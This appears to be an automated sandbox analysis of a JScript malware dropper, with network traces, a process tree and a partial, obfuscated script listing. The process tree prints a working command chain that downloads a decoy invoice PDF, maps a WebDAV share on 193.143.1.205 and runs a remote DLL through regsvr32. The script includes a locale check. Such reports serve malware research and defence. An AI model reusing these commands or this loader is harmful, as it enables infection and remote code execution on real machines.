Jan 10, 2025 22:23:37.938591003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.964713097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.964768887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.964806080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.964842081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.964847088 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.964896917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.964898109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.964931965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.964966059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.964999914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.965010881 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.965035915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.965070963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.965080976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.965106964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.965118885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.965140104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.965178013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.965183973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.965213060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.965262890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.983438969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.983459949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.983478069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.983494997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.983511925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.983526945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.983546019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.983561039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.983608007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.983788967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.983804941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.983834028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.983844995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.983849049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.983866930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.983869076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.983881950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.983901024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.983907938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.983935118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:38.017302036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:38.017327070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:38.017359018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:38.017374992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:38.017384052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:38.017395973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:38.017432928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:38.017451048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:38.017462969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:38.017467022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:38.017483950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:38.017491102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:38.017523050 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:38.017525911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:38.017560005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:38.017564058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:38.017575026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:38.017611980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:38.017620087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:38.017662048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:38.017677069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:38.017709017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:38.017719984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:38.017735958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:38.017761946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:38.017774105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:38.017776966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:38.017800093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:38.026355028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:38.035829067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:39.579118967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:40.031964064 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:40.036942959 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:40.037013054 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:40.037162066 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:40.041944981 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:40.915631056 CET	8888	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:40.959516048 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:41.257055998 CET	49700	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 22:24:53.868453026 CET	51046	53	192.168.2.7	1.1.1.1
Jan 10, 2025 22:24:53.873224974 CET	53	51046	1.1.1.1	192.168.2.7
Jan 10, 2025 22:24:53.873333931 CET	51046	53	192.168.2.7	1.1.1.1
Jan 10, 2025 22:24:53.873373032 CET	51046	53	192.168.2.7	1.1.1.1
Jan 10, 2025 22:24:53.879251957 CET	53	51046	1.1.1.1	192.168.2.7
Jan 10, 2025 22:24:54.338499069 CET	53	51046	1.1.1.1	192.168.2.7
Jan 10, 2025 22:24:54.342551947 CET	51046	53	192.168.2.7	1.1.1.1
Jan 10, 2025 22:24:54.347511053 CET	53	51046	1.1.1.1	192.168.2.7
Jan 10, 2025 22:24:54.347570896 CET	51046	53	192.168.2.7	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:23:47.192336082 CET	49323	53	192.168.2.7	1.1.1.1
Jan 10, 2025 22:24:53.867876053 CET	53	52908	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:23:47.192336082 CET	192.168.2.7	1.1.1.1	0xbdb3	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:23:47.199199915 CET	1.1.1.1	192.168.2.7	0xbdb3	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:23:48.080476046 CET	1.1.1.1	192.168.2.7	0x4d9	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:23:48.080476046 CET	1.1.1.1	192.168.2.7	0x4d9	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.143.1.205	80	5360	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:23:36.484474897 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:23:37.256700039 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:23:37 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 22:23:37.256751060 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:23:37.256813049 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 22:23:37.256849051 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 22:23:37.256886959 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 22:23:37.256922007 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 22:23:37.256958008 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 10, 2025 22:23:37.256990910 CET	552	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 10, 2025 22:23:37.257025957 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 10, 2025 22:23:37.257061005 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 10, 2025 22:23:37.261893034 CET	496	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	193.143.1.205	8888	7376	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:23:40.037162066 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:23:40.915631056 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:23:40 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:23:33
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\160370701202011504.js"
Imagebase:	0x7ff7b3c20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:23:34
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll
Imagebase:	0x7ff7c3f30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:23:34
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:23:34
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	16:23:39
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	16:23:39
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7c3f30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:23:39
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff78b9f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	16:23:39
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	16:23:39
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	16:23:40
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1768,i,2178742765760975374,8707216640143188613,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function prlztbk() {	prlztbk() ➔ undefined
1	chvzee = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var hvjyfpo = this[vegyoqhdg + prabqlgy + rbwwqw + xmhummowc + oxdsm + dwpfy + wlawcea + jivlm] ( this[obkhgade + rduba + itnymz + rbwwqw + rljpcrf + vegyoqhdg + jivlm][mhplxpy + rbwwqw + oxdsm + prabqlgy + jivlm + oxdsm + cxjyomumi + plyts + iapprlt + oxdsm + itnymz + jivlm] ( obkhgade + rduba + itnymz + rbwwqw + rljpcrf + vegyoqhdg + jivlm + fnrtfwa + rduba + wwyhnbwzh + oxdsm + wwlyr + wwlyr ) [lugukwhki + oxdsm + gygcskjep + lugukwhki + oxdsm + prabqlgy + vlzoiweta] ( ljbee + zymfkisxu + tkrhzb + enomkz + mnqpruwrm + mhplxpy + vjjpmyohy + lugukwhki + lugukwhki + tkrhzb + ztiyaigd + zdibxkx + mnqpruwrm + vjjpmyohy + rduba + tkrhzb + lugukwhki + cwmypp + mhplxpy + vbnii + wlawcea + jivlm + rbwwqw + vbnii + wwlyr + lddkqv + esmlhvn + prabqlgy + wlawcea + oxdsm + wwlyr + cwmypp + dwpfy + wlawcea + jivlm + oxdsm + rbwwqw + wlawcea + prabqlgy + jivlm + rljpcrf + vbnii + wlawcea + prabqlgy + wwlyr + cwmypp + zaznlsy + vbnii + itnymz + prabqlgy + wwlyr + oxdsm ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( vozsjv = 0 ; vozsjv < chvzee[wwlyr + oxdsm + wlawcea + gygcskjep + jivlm + wwyhnbwzh] ; ++ vozsjv )
4	{
5	if ( hvjyfpo == chvzee[vozsjv] )
6	{
7	hvjyfpo = true;
8	break ;
9	}
10	}
11	if ( hvjyfpo !== true )
12	this[obkhgade + rduba + itnymz + rbwwqw + rljpcrf + vegyoqhdg + jivlm][unmucxi + xyjzbvflm + rljpcrf + jivlm] ( );
13	this[obkhgade + rduba + itnymz + rbwwqw + rljpcrf + vegyoqhdg + jivlm][mhplxpy + rbwwqw + oxdsm + prabqlgy + jivlm + oxdsm + cxjyomumi + plyts + iapprlt + oxdsm + itnymz + jivlm] ( obkhgade + rduba + itnymz + rbwwqw + rljpcrf + vegyoqhdg + jivlm + fnrtfwa + rduba + wwyhnbwzh + oxdsm + wwlyr + wwlyr ) [rbwwqw + xyjzbvflm + wlawcea] ( itnymz + hchvxlmv + vlzoiweta + lddkqv + wmukek + itnymz + lddkqv + vegyoqhdg + vbnii + rodtxzwb + oxdsm + rbwwqw + xmhummowc + wwyhnbwzh + oxdsm + wwlyr + wwlyr + fnrtfwa + oxdsm + lffeecla + oxdsm + lddkqv + fpiuuix + mhplxpy + vbnii + hchvxlmv + hchvxlmv + prabqlgy + wlawcea + vlzoiweta + lddkqv + qofvqiez + dwpfy + wlawcea + dpsmhm + vbnii + dzszjbkp + oxdsm + fpiuuix + obkhgade + oxdsm + plyts + lugukwhki + oxdsm + obrzdvwhg + xyjzbvflm + oxdsm + xmhummowc + jivlm + lddkqv + fpiuuix + cxjyomumi + xyjzbvflm + jivlm + dftpjso + rljpcrf + wwlyr + oxdsm + lddkqv + tgutast + jivlm + oxdsm + hchvxlmv + vegyoqhdg + tgutast + cwmypp + rljpcrf + wlawcea + dpsmhm + vbnii + rljpcrf + itnymz + oxdsm + fnrtfwa + vegyoqhdg + vlzoiweta + fqioqwys + lddkqv + wwyhnbwzh + jivlm + jivlm + vegyoqhdg + hvjlp + wmukek + wmukek + njcgn + bprpctthd + pnqtsjob + fnrtfwa + njcgn + resod + pnqtsjob + fnrtfwa + njcgn + fnrtfwa + uyojc + ifowjmf + alkmswz + wmukek + rljpcrf + wlawcea + dpsmhm + vbnii + rljpcrf + itnymz + oxdsm + fnrtfwa + vegyoqhdg + wwyhnbwzh + vegyoqhdg + qofvqiez + jaxzeexlq + jaxzeexlq + xmhummowc + jivlm + prabqlgy + rbwwqw + jivlm + lddkqv + tgutast + jivlm + oxdsm + hchvxlmv + vegyoqhdg + tgutast + cwmypp + rljpcrf + wlawcea + 